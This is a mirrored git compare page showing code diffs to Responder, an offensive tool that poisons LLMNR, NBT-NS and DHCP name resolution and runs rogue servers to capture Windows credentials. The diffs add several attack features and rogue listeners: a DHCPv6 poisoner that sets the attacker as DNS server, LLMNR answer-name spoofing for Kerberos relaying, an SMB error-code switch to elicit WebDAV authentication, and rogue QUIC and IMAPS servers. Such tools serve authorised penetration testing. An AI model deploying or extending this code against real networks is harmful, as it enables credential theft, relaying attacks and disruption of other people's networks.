mirror of
https://github.com/lgandx/Responder.git
synced 2026-01-07 07:09:07 +00:00
Compare commits
65 Commits
65874d2594
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1f7858a223 | ||
|
|
9fa97ef308 | ||
|
|
23587f8b5d | ||
|
|
9db07b54d6 | ||
|
|
074f152a74 | ||
|
|
e854680360 | ||
|
|
100b1bbe00 | ||
|
|
b9646c7890 | ||
|
|
fc9cfaf8f8 | ||
|
|
367ed8a188 | ||
|
|
70893cdb8b | ||
|
|
e264aae039 | ||
|
|
a8cb41d09b | ||
|
|
e2a0ba041a | ||
|
|
b2b1974b2a | ||
|
|
1833341a33 | ||
|
|
5a114080b4 | ||
|
|
0ffdeb585f | ||
|
|
73507a671f | ||
|
|
9c40a5d265 | ||
|
|
5960d04a51 | ||
|
|
44f6dd2865 | ||
|
|
9d4b64354c | ||
|
|
6a5a20dc8b | ||
|
|
3dd2ed8370 | ||
|
|
74cea27ff9 | ||
|
|
9a5e33ae03 | ||
|
|
6d66d900f1 | ||
|
|
aa4b082071 | ||
|
|
de5cdf4891 | ||
|
|
b4427406ee | ||
|
|
1457035955 | ||
|
|
7c5a31d803 | ||
|
|
15c173a128 | ||
|
|
fe5f63269a | ||
|
|
da74083b46 | ||
|
|
004dc1f4f3 | ||
|
|
6fad9f0c3a | ||
|
|
007367e0e0 | ||
|
|
08864c7d76 | ||
|
|
32da74c12d | ||
|
|
7a8d06b8d3 | ||
|
|
a9c41c97fc | ||
|
|
eeceecae8f | ||
|
|
f1d8d1a6c4 | ||
|
|
a5a2231ec3 | ||
|
|
7e6d49bf42 | ||
|
|
398a1fce31 | ||
|
|
fa2b8dd5fd | ||
|
|
58eb8731a5 | ||
|
|
658480e0a5 | ||
|
|
a76ee47867 | ||
|
|
e346c01695 | ||
|
|
41ed7c4f4a | ||
|
|
ea820ab076 | ||
|
|
a0d1f03617 | ||
|
|
871cdffa97 | ||
|
|
e781559be0 | ||
|
|
6bf6887c49 | ||
|
|
545137275f | ||
|
|
6743423251 | ||
|
|
d740fb526f | ||
|
|
d3dd37a324 | ||
|
|
38023edfaa | ||
|
|
fbcb000a93 |
4
.gitignore
vendored
4
.gitignore
vendored
@@ -1,5 +1,6 @@
|
||||
# Python artifacts
|
||||
*.pyc
|
||||
.venv/
|
||||
|
||||
# Responder logs
|
||||
*.db
|
||||
@@ -9,3 +10,6 @@
|
||||
# Generated certificates and keys
|
||||
certs/*.crt
|
||||
certs/*.key
|
||||
|
||||
# IDE
|
||||
.idea/
|
||||
|
||||
32
CHANGELOG.md
32
CHANGELOG.md
@@ -1,3 +1,35 @@
|
||||
|
||||
n.n.n / 2025-05-22
|
||||
==================
|
||||
|
||||
* added check for aioquic & updated version to reflect recent changes
|
||||
* Merge pull request #310 from ctjf/master
|
||||
* Merge pull request #308 from BlWasp/error_code_returned
|
||||
* Merge pull request #311 from stfnw/master
|
||||
* DHCP poisoner: refactor FindIP
|
||||
* added quic support based on xpn's work
|
||||
* Indentation typos
|
||||
* Add status code control
|
||||
* Merge pull request #305 from L1-0/patch-1
|
||||
* Update RPC.py
|
||||
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
|
||||
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
|
||||
|
||||
n.n.n / 2025-05-22
|
||||
==================
|
||||
|
||||
* added check for aioquic & updated version to reflect recent changes
|
||||
* Merge pull request #310 from ctjf/master
|
||||
* Merge pull request #308 from BlWasp/error_code_returned
|
||||
* Merge pull request #311 from stfnw/master
|
||||
* DHCP poisoner: refactor FindIP
|
||||
* added quic support based on xpn's work
|
||||
* Indentation typos
|
||||
* Add status code control
|
||||
* Merge pull request #305 from L1-0/patch-1
|
||||
* Update RPC.py
|
||||
* Merge pull request #301 from q-roland/kerberos_relaying_llmnr
|
||||
* Adding answer name spoofing capabilities when poisoning LLMNR for Kerberos relaying purpose
|
||||
# Changelog
|
||||
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
53
README.md
53
README.md
@@ -101,15 +101,32 @@ Edit this file /etc/NetworkManager/NetworkManager.conf and comment the line: `dn
|
||||
|
||||
- This tool is not meant to work on Windows.
|
||||
|
||||
- For OSX, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
|
||||
- For macOS, please note: Responder must be launched with an IP address for the -i flag (e.g. -i YOUR_IP_ADDR). There is no native support in OSX for custom interface binding. Using -i en1 will not work. Also to run Responder with the best experience, run the following as root:
|
||||
|
||||
launchctl unload /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
|
||||
```
|
||||
launchctl bootout system /System/Library/LaunchDaemons/com.apple.Kerberos.kdc.plist
|
||||
launchctl bootout system /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
launchctl bootout system /System/Library/LaunchDaemons/com.apple.smbd.plist
|
||||
launchctl bootout system /System/Library/LaunchDaemons/com.apple.netbiosd.plist
|
||||
```
|
||||
|
||||
launchctl unload /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
|
||||
## Install ##
|
||||
|
||||
launchctl unload /System/Library/LaunchDaemons/com.apple.smbd.plist
|
||||
Using pipx
|
||||
|
||||
launchctl unload /System/Library/LaunchDaemons/com.apple.netbiosd.plist
|
||||
```bash
|
||||
pipx install git+https://github.com/lgandx/Responder.git
|
||||
```
|
||||
|
||||
Manual:
|
||||
```bash
|
||||
git clone https://github.com/lgandx/Responder
|
||||
cd Responder/
|
||||
python3 -m venv .
|
||||
source bin/activate
|
||||
python3 -m pip install netifaces
|
||||
sudo python3 Responder.py
|
||||
```
|
||||
|
||||
## Usage ##
|
||||
|
||||
@@ -157,20 +174,36 @@ Options:
|
||||
False
|
||||
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
|
||||
authentication for the proxy. WPAD doesn't need to be
|
||||
ON. Default: False
|
||||
ON. This option is highly effective. Default: False
|
||||
-Q, --quiet Tell Responder to be quiet, disables a bunch of
|
||||
printing from the poisoners. Default: False
|
||||
--lm Force LM hashing downgrade for Windows XP/2003 and
|
||||
earlier. Default: False
|
||||
--disable-ess Force ESS downgrade. Default: False
|
||||
-v, --verbose Increase verbosity.
|
||||
-t 1e, --ttl=1e Change the default Windows TTL for poisoned answers.
|
||||
Value in hex (30 seconds = 1e). use '-t random' for
|
||||
random TTL
|
||||
-N ANSWERNAME, --AnswerName=ANSWERNAME
|
||||
Specifies the canonical name returned by the LLMNR
|
||||
poisoner in its Answer section. By default, the
|
||||
answer's canonical name is the same as the query.
|
||||
Changing this value is mainly useful when attempting
|
||||
to perform Kerberos relaying over HTTP.
|
||||
-E, --ErrorCode Changes the error code returned by the SMB server to
|
||||
STATUS_LOGON_FAILURE. By default, the status is
|
||||
STATUS_ACCESS_DENIED. Changing this value permits to
|
||||
obtain WebDAV authentications from the poisoned
|
||||
machines where the WebClient service is running.
|
||||
|
||||
|
||||
|
||||
|
||||
## Donation ##
|
||||
|
||||
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
|
||||
You can contribute to this project by donating to the following USDT or Bitcoin address:
|
||||
|
||||
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
|
||||
USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv
|
||||
|
||||
BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo
|
||||
|
||||
Paypal:
|
||||
|
||||
|
||||
@@ -5,9 +5,13 @@ MDNS = On
|
||||
LLMNR = On
|
||||
NBTNS = On
|
||||
|
||||
#IPv6 conf:
|
||||
DHCPv6 = Off
|
||||
|
||||
; Servers to start
|
||||
SQL = On
|
||||
SMB = On
|
||||
QUIC = On
|
||||
RDP = On
|
||||
Kerberos = On
|
||||
FTP = On
|
||||
@@ -20,8 +24,9 @@ DNS = On
|
||||
LDAP = On
|
||||
DCERPC = On
|
||||
WINRM = On
|
||||
SNMP = Off
|
||||
SNMP = On
|
||||
MQTT = On
|
||||
MYSQL = On
|
||||
|
||||
; Custom challenge.
|
||||
; Use "Random" for generating a random challenge for each requests (Default)
|
||||
@@ -79,6 +84,27 @@ CaptureMultipleCredentials = On
|
||||
; domain\popo, domain\zozo. Recommended value: On, capture everything.
|
||||
CaptureMultipleHashFromSameHost = On
|
||||
|
||||
;IPv6 section
|
||||
[DHCPv6 Server]
|
||||
|
||||
; Domain to filter DNS and DHCPv6 poisoning responses
|
||||
; Only respond to clients in this domain
|
||||
; Leave empty to poison all domains (NOT RECOMMENDED - causes network disruption)
|
||||
; Example: corp.local
|
||||
DHCPv6_Domain =
|
||||
|
||||
; Send Router Advertisements to speed up IPv6 configuration
|
||||
; Only needed on networks without RA Guard protection
|
||||
; Default: Off (more stealthy, waits for natural DHCPv6 SOLICIT)
|
||||
; WARNING: Sending RA can be more detectable
|
||||
SendRA = Off
|
||||
|
||||
; Specific IPv6 address to bind to and advertise as DNS server
|
||||
; Leave empty to auto-detect link-local address (recommended)
|
||||
; Example: fe80::1
|
||||
; Example: 2001:db8::1
|
||||
BindToIPv6 =
|
||||
|
||||
[HTTP Server]
|
||||
|
||||
; Set to On to always serve the custom EXE
|
||||
|
||||
67
Responder.py
67
Responder.py
@@ -14,6 +14,7 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import asyncio
|
||||
import optparse
|
||||
import ssl
|
||||
try:
|
||||
@@ -35,6 +36,8 @@ parser.add_option('-b', '--basic', action="store_true", help="Return a B
|
||||
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
|
||||
|
||||
parser.add_option('--dhcpv6', action="store_true", help="Enable DHCPv6 poisoning attack (disabled by default). Responds to DHCPv6 SOLICIT messages and configures attacker as DNS server. WARNING: May cause network disruption.", dest="DHCPv6_On_Off", default=False)
|
||||
|
||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||
@@ -46,6 +49,8 @@ parser.add_option('--lm', action="store_true", help="Force LM h
|
||||
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
|
||||
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
|
||||
parser.add_option('-t','--ttl', action="store", help="Change the default Windows TTL for poisoned answers. Value in hex (30 seconds = 1e). use '-t random' for random TTL", dest="TTL", metavar="1e", default=None)
|
||||
parser.add_option('-N', '--AnswerName', action="store", help="Specifies the canonical name returned by the LLMNR poisoner in its Answer section. By default, the answer's canonical name is the same as the query. Changing this value is mainly useful when attempting to perform Kerberos relaying over HTTP.", dest="AnswerName", default=None)
|
||||
parser.add_option('-E', '--ErrorCode', action="store_true", help="Changes the error code returned by the SMB server to STATUS_LOGON_FAILURE. By default, the status is STATUS_ACCESS_DENIED. Changing this value permits to obtain WebDAV authentications from the poisoned machines where the WebClient service is running.", dest="ErrorCode", default=False)
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if not os.geteuid() == 0:
|
||||
@@ -129,6 +134,34 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||
pass
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class ThreadingUDPDHCPv6Server(ThreadingMixIn, UDPServer):
|
||||
allow_reuse_address = True
|
||||
address_family = socket.AF_INET6
|
||||
|
||||
def server_bind(self):
|
||||
import socket
|
||||
import struct
|
||||
|
||||
# Bind to :: (accept packets to ANY address including multicast)
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
print(color("[DHCPv6] Make sure to review DHCPv6 settings Responder.conf\n[DHCPv6] Only run this module for short periods of time, you might cause some disruption.", 2, 1))
|
||||
|
||||
# Join multicast group
|
||||
group = socket.inet_pton(socket.AF_INET6, 'ff02::1:2')
|
||||
if_index = socket.if_nametoindex(settings.Config.Interface)
|
||||
mreq = group + struct.pack('@I', if_index)
|
||||
|
||||
try:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_LOOP, 1)
|
||||
print(color("[DHCPv6] Joined ff02::1:2 port 547 on %s" % settings.Config.Interface, 2, 1))
|
||||
except Exception as e:
|
||||
print(color("[!] Multicast join failed: %s" % str(e), 1, 1))
|
||||
|
||||
# Set address family to IPv6
|
||||
ThreadingUDPDHCPv6Server.address_family = socket.AF_INET6
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
@@ -249,6 +282,14 @@ def serve_thread_udp(host, port, handler):
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
def serve_thread_dhcpv6(host, port, handler):
|
||||
try:
|
||||
# MUST bind to :: to receive multicast packets
|
||||
server = ThreadingUDPDHCPv6Server(('::', port), handler)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
print(color("[!] DHCPv6 error: %s" % str(e), 1, 1))
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
@@ -297,8 +338,13 @@ def main():
|
||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||
|
||||
threads = []
|
||||
|
||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||
#IPv6 Poisoning
|
||||
# DHCPv6 Server (disabled by default, enable with --dhcpv6)
|
||||
if settings.Config.DHCPv6_On_Off:
|
||||
from servers.DHCPv6 import DHCPv6
|
||||
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
|
||||
|
||||
# Load MDNS, NBNS and LLMNR Poisoners
|
||||
if settings.Config.LLMNR_On_Off:
|
||||
from poisoners.LLMNR import LLMNR
|
||||
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
|
||||
@@ -360,6 +406,12 @@ def main():
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 445, SMB1,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 139, SMB1,)))
|
||||
|
||||
if settings.Config.QUIC_On_Off:
|
||||
from servers.QUIC import start_quic_server
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
threads.append(Thread(target=lambda: asyncio.run(start_quic_server(settings.Config.Bind_To, cert, key))))
|
||||
|
||||
if settings.Config.Krb_On_Off:
|
||||
from servers.Kerberos import KerbTCP, KerbUDP
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,)))
|
||||
@@ -396,6 +448,9 @@ def main():
|
||||
if settings.Config.IMAP_On_Off:
|
||||
from servers.IMAP import IMAP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 143, IMAP,)))
|
||||
from servers.IMAP import IMAPS
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 993, IMAPS,)))
|
||||
|
||||
|
||||
if settings.Config.DNS_On_Off:
|
||||
from servers.DNS import DNS, DNSTCP
|
||||
@@ -424,6 +479,14 @@ def main():
|
||||
time.sleep(1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
# Optional: Print DHCPv6 statistics on shutdown
|
||||
if settings.Config.DHCPv6_On_Off:
|
||||
try:
|
||||
from servers.DHCPv6 import print_dhcpv6_stats
|
||||
print_dhcpv6_stats()
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
148
packets.py
148
packets.py
@@ -861,7 +861,7 @@ class IMAPGreeting(Packet):
|
||||
|
||||
class IMAPCapability(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
@@ -1249,42 +1249,6 @@ class SMBSessionData(Packet):
|
||||
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
|
||||
self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
|
||||
|
||||
class SMBNegoFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
|
||||
|
||||
class SMBTreeConnectData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
@@ -2381,113 +2345,3 @@ class RPCNTLMNego(Packet):
|
||||
|
||||
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
|
||||
|
||||
################### Mailslot NETLOGON ######################
|
||||
class NBTUDPHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x11"),
|
||||
("MoreFrag", "\x02"),
|
||||
("TID", "\x82\x92"),
|
||||
("SrcIP", "0.0.0.0"),
|
||||
("SrcPort", "\x00\x8a"), ##Always 138
|
||||
("DatagramLen", "\x00\x00"),
|
||||
("PacketOffset", "\x00\x00"),
|
||||
("ClientNBTName", ""),
|
||||
("DstNBTName", ""),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["SrcIP"] = RespondWithIPAton()
|
||||
## DatagramLen.
|
||||
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
|
||||
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
|
||||
|
||||
class SMBTransMailslot(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("TotalParamCount", "\x00\x00"),
|
||||
("TotalDataCount", "\x00\x00"),
|
||||
("MaxParamCount", "\x02\x00"),
|
||||
("MaxDataCount", "\x00\x00"),
|
||||
("MaxSetupCount", "\x00"),
|
||||
("Reserved", "\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("Timeout", "\xff\xff\xff\xff"),
|
||||
("Reserved2", "\x00\x00"),
|
||||
("ParamCount", "\x00\x00"),
|
||||
("ParamOffset", "\x00\x00"),
|
||||
("DataCount", "\x00\x00"),
|
||||
("DataOffset", "\x00\x00"),
|
||||
("SetupCount", "\x03"),
|
||||
("Reserved3", "\x00"),
|
||||
("Opcode", "\x01\x00"),
|
||||
("Priority", "\x00\x00"),
|
||||
("Class", "\x02\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
|
||||
("MailSlotNull", "\x00"),
|
||||
("Padding", "\x00\x00\x00"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["Padding"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["Padding"] = "\x00\x00\x00"
|
||||
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
|
||||
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
|
||||
|
||||
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
|
||||
|
||||
class SamLogonResponseEx(Packet):
|
||||
fields = OrderedDict([
|
||||
("Cmd", "\x17\x00"),
|
||||
("Sbz", "\x00\x00"),
|
||||
("Flags", "\xfd\x03\x00\x00"),
|
||||
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
|
||||
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||
("ForestNameNull", "\x00"),
|
||||
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||
("ForestDomainNull", "\x00"),
|
||||
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
|
||||
("DNSPointer", "\xc0\x18"),
|
||||
("DomainName", "\x04\x53\x4d\x42\x33"),
|
||||
("DomainTerminator", "\x00"),
|
||||
("ServerLen", "\x0a"),
|
||||
("ServerName", settings.Config.MachineName),
|
||||
("ServerTerminator", "\x00"),
|
||||
("UsernameLen", "\x10"),
|
||||
("Username", settings.Config.Username),
|
||||
("UserTerminator", "\x00"),
|
||||
("SrvSiteNameLen", "\x17"),
|
||||
("SrvSiteName", "Default-First-Site-Name"),
|
||||
("SrvSiteNameNull", "\x00"),
|
||||
("Pointer", "\xc0"),
|
||||
("PointerOffset", "\x5c"),
|
||||
("DCAddrSize", "\x10"),
|
||||
("AddrType", "\x02\x00"),
|
||||
("Port", "\x00\x00"),
|
||||
("DCAddress", "\xc0\xab\x01\x65"),
|
||||
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Version", "\x0d\x00\x00\x00"),
|
||||
("LmToken", "\xff\xff"),
|
||||
("LmToken2", "\xff\xff"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
|
||||
|
||||
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
|
||||
self.fields["DCAddress"] = RespondWithIPAton()
|
||||
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
|
||||
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
|
||||
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
|
||||
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
|
||||
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))
|
||||
|
||||
|
||||
@@ -239,9 +239,13 @@ def ParseSrcDSTAddr(data):
|
||||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
|
||||
def FindIP(data):
|
||||
data = data.decode('latin-1')
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4]).encode('latin-1')
|
||||
IPPos = data.find(b"\x32\x04") + 2
|
||||
if IPPos == -1 or IPPos + 4 >= len(data) or IPPos == 1:
|
||||
#Probably not present in the DHCP options we received, let's grab it from the IP header instead
|
||||
return data[12:16]
|
||||
else:
|
||||
IP = data[IPPos:IPPos+4]
|
||||
return IP
|
||||
|
||||
def ParseDHCPCode(data, ClientIP,DHCP_DNS):
|
||||
global DHCPClient
|
||||
|
||||
@@ -58,6 +58,10 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
try:
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data).decode("latin-1")
|
||||
if settings.Config.AnswerName is None:
|
||||
AnswerName = Name
|
||||
else:
|
||||
AnswerName = settings.Config.AnswerName
|
||||
LLMNRType = Parse_IPV6_Addr(data)
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
@@ -67,7 +71,9 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
if data[2:4] == b'\x00\x00' and LLMNRType:
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
# Don't print if in Quiet Mode
|
||||
if not settings.Config.Quiet_Mode:
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'LLMNR',
|
||||
'SentToIp': self.client_address[0],
|
||||
@@ -78,14 +84,17 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
elif LLMNRType == True: # Poisoning Mode
|
||||
#Default:
|
||||
if settings.Config.TTL == None:
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
|
||||
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
|
||||
else:
|
||||
